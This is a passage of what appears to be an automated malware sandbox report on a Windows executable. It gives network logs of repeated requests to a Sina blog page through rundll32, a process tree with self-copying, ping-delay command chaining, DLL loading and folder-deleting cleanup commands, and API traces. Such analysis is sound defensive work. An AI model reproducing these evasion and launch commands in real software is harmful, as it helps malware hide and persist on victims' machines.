2024-12-11 15:25:27 UTC	846	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 15:25:29 GMT Content-Type: text/html Content-Length: 325 Connection: close Set-Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; path=/; expires=Sat, 09-Dec-34 15:25:26 GMT; domain=.sina.com.cn Set-Cookie: U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6; path=/; domain=.sina.com.cn Origin-Agent-Cluster: ?0 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Dec 2024 15:25:26 GMT Cache-Control: no-cache Pragma: no-cache DPOOL_HEADER: 10.13.3.117 strict-transport-security: max-age=180 Content-Security-Policy: upgrade-insecure-requests X-Cache: MISS from 0c5f09b916ff Content-Security-Policy: upgrade-insecure-requests X-Via-SSL: ssl.22.sinag1.bx.lb.sinanode.com
2024-12-11 15:25:27 UTC	325	IN	Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 43 4f 4e 54 45 4e 54 3d 22 2d 31 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 73 74 6f 72 65 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 20 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 2f 63 6f 6e 74 72 6f 6c 2e 62 6c 6f 67 2e 73 69 6e 61 2e 63 6f 6d 2e 63 6e 2f 6d 79 Data Ascii: <meta http-equiv="Expires" CONTENT="-1" ><meta http-equiv="Cache-Control" CONTENT="no-cache" ><meta http-equiv="Cache-Control" CONTENT="no-store" ><meta http-equiv="Pragma" CONTENT="no-cache" ><script>window.location.href='//control.blog.sina.com.cn/my

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49845	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:31 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
2024-12-11 15:25:31 UTC	638	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 15:25:34 GMT Content-Type: text/html Content-Length: 325 Connection: close Origin-Agent-Cluster: ?0 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Dec 2024 15:25:30 GMT Cache-Control: no-cache Pragma: no-cache DPOOL_HEADER: 10.13.3.73 strict-transport-security: max-age=180 Content-Security-Policy: upgrade-insecure-requests X-Cache: MISS from 464291b26ee9 Content-Security-Policy: upgrade-insecure-requests X-Via-SSL: ssl.27.sinag1.bx.lb.sinanode.com
2024-12-11 15:25:31 UTC	325	IN	Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 43 4f 4e 54 45 4e 54 3d 22 2d 31 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 73 74 6f 72 65 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 20 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 2f 63 6f 6e 74 72 6f 6c 2e 62 6c 6f 67 2e 73 69 6e 61 2e 63 6f 6d 2e 63 6e 2f 6d 79 Data Ascii: <meta http-equiv="Expires" CONTENT="-1" ><meta http-equiv="Cache-Control" CONTENT="no-cache" ><meta http-equiv="Cache-Control" CONTENT="no-store" ><meta http-equiv="Pragma" CONTENT="no-cache" ><script>window.location.href='//control.blog.sina.com.cn/my

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49905	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:36 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49956	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:40 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50006	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:44 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50058	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:48 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50110	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:53 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50159	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:57 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50212	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:01 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50331	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:09 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50404	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:13 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50489	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:17 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50580	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:21 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50696	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:25 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50828	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:29 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	51040	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:34 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	51263	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:38 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	51511	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:42 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	51758	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:46 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	53986	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:50 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	56848	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:54 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	59404	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:58 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Target ID:	0
Start time:	10:25:07
Start date:	11/12/2024
Path:	C:\Users\user\Desktop\nt11qTrX4f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\nt11qTrX4f.exe"
Imagebase:	0x400000
File size:	150'480 bytes
MD5 hash:	1E399FB89A283BD6BB2C1ACADE5BFE5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:25:07
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 2&c:\wlbldvv.exe "C:\Users\user\Desktop\nt11qTrX4f.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:25:07
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:25:07
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x960000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:25:08
Start date:	11/12/2024
Path:	C:\wlbldvv.exe
Wow64 process (32bit):	true
Commandline:	c:\wlbldvv.exe "C:\Users\user\Desktop\nt11qTrX4f.exe"
Imagebase:	0x400000
File size:	150'896 bytes
MD5 hash:	C810480BB654EEE12B794A26504733C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:25:09
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system32\rundll32.exe "c:\xrzyhhhnk\uycmiha.dll",init c:\wlbldvv.exe
Imagebase:	0xca0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	10:25:20
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\rundll32.exe" "c:\xrzyhhhnk\uycmiha.dll",init
Imagebase:	0xca0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:25:20
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\xrzyhhhnk"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:25:20
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:25:20
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 3
Imagebase:	0x960000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:25:29
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\rundll32.exe" "c:\xrzyhhhnk\uycmiha.dll",init
Imagebase:	0xca0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 3176, Parent PID: 5036

General

Target ID:	13
Start time:	10:25:29
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\xrzyhhhnk"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7152, Parent PID: 3176

General

Target ID:	14
Start time:	10:25:29
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:25:29
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 3
Imagebase:	0x960000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.9%
Total number of Nodes:	263
Total number of Limit Nodes:	3

Executed Functions

Function 00401220 Relevance: 38.6, APIs: 20, Strings: 2, Instructions: 136
sleepfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE12DD0.MFC42(00100000), ref: 0040122F
__p___argv.MSVCRT ref: 00401253

Part of subcall function 00401140: CreateFileA.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 0040117B

__p___argv.MSVCRT ref: 00401274

Part of subcall function 00401140: ReadFile.KERNELBASE(00000000,?,00001000,?,00000000), ref: 004011C2
Part of subcall function 00401140: CloseHandle.KERNELBASE(00000000), ref: 004011FD

Sleep.KERNEL32(00000064), ref: 00401286
GetTickCount.KERNEL32 ref: 004012CD
wsprintfA.USER32 ref: 004012EA
CreateFileA.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040130A
6CE12DD0.MFC42(00000000), ref: 00401313
Sleep.KERNELBASE(00000064), ref: 00401321
WriteFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 00401331
Sleep.KERNELBASE(00000064), ref: 00401339
WriteFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 00401349
CloseHandle.KERNELBASE(00000000), ref: 00401350
6CE12C70.MFC42(?), ref: 00401357
6CE12C70.MFC42(00000000,?), ref: 0040135D
__p___argv.MSVCRT ref: 0040137D
wsprintfA.USER32 ref: 0040139A
WinExec.KERNEL32(?,00000000), ref: 004013AD
Sleep.KERNELBASE(000001F4,?,?,?,?,00000000,?), ref: 004013B8
ExitProcess.KERNEL32 ref: 004013BC

Strings

cmd.exe /c ping 127.0.0.1 -n 2&%s "%s", xrefs: 00401394
c:\%s.exe, xrefs: 004012DE

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: File$Sleep$__p___argv$CloseCreateHandleWritewsprintf$CountExecExitProcessReadTick
String ID: c:\%s.exe$cmd.exe /c ping 127.0.0.1 -n 2&%s "%s"
API String ID: 529022016-1443030469
Opcode ID: 66cdd9089e5af76c599511ada205c2659a24278b25b1261c6a6c7d148cee0f40
Instruction ID: 9f8aa6881b80f391e29a048e327f9647279769309d18573ee161f45e2535dee3
Opcode Fuzzy Hash: 66cdd9089e5af76c599511ada205c2659a24278b25b1261c6a6c7d148cee0f40
Instruction Fuzzy Hash: 2B418171504341AFD310EF64DC45FAB7BA9EFC8704F04093DF245AB2E1DA7496048BAA

Function 00401140 Relevance: 4.6, APIs: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 0040117B
ReadFile.KERNELBASE(00000000,?,00001000,?,00000000), ref: 004011C2
CloseHandle.KERNELBASE(00000000), ref: 004011FD

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: File$CloseCreateHandleRead
String ID:
API String ID: 1035965006-0
Opcode ID: 50e04a863f428a76645a255525e8b530e81a62b19e13fed04084e6c9b05c1cd9
Instruction ID: 90d227093b93e33c59d7a42948e498c78a4efe9ee397008c3d7e124e3062c49f
Opcode Fuzzy Hash: 50e04a863f428a76645a255525e8b530e81a62b19e13fed04084e6c9b05c1cd9
Instruction Fuzzy Hash: BC21B431304345ABE724CA28DC41BEBB3D5FB88715F40493DFB95E72D0C6B8A9488A5A

Function 00404578 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE24ED0.MFC42(?,?,?, E@,00404520,00000000,?,0000000A), ref: 00404588

Strings

E@, xrefs: 00404578

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID:
String ID: E@
API String ID: 0-1021207842
Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction ID: 10c4685e4c1b6a8bdab444a1996e1c4aa9e8657ff44068a67dc80207ca276c8e
Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction Fuzzy Hash: 9AB00876018386ABDB12DF919C0192ABAA2BFD8704F484C1DB2A1101A197668438AB16

Non-executed Functions

Function 004013D0 Relevance: 37.0, APIs: 14, Strings: 7, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
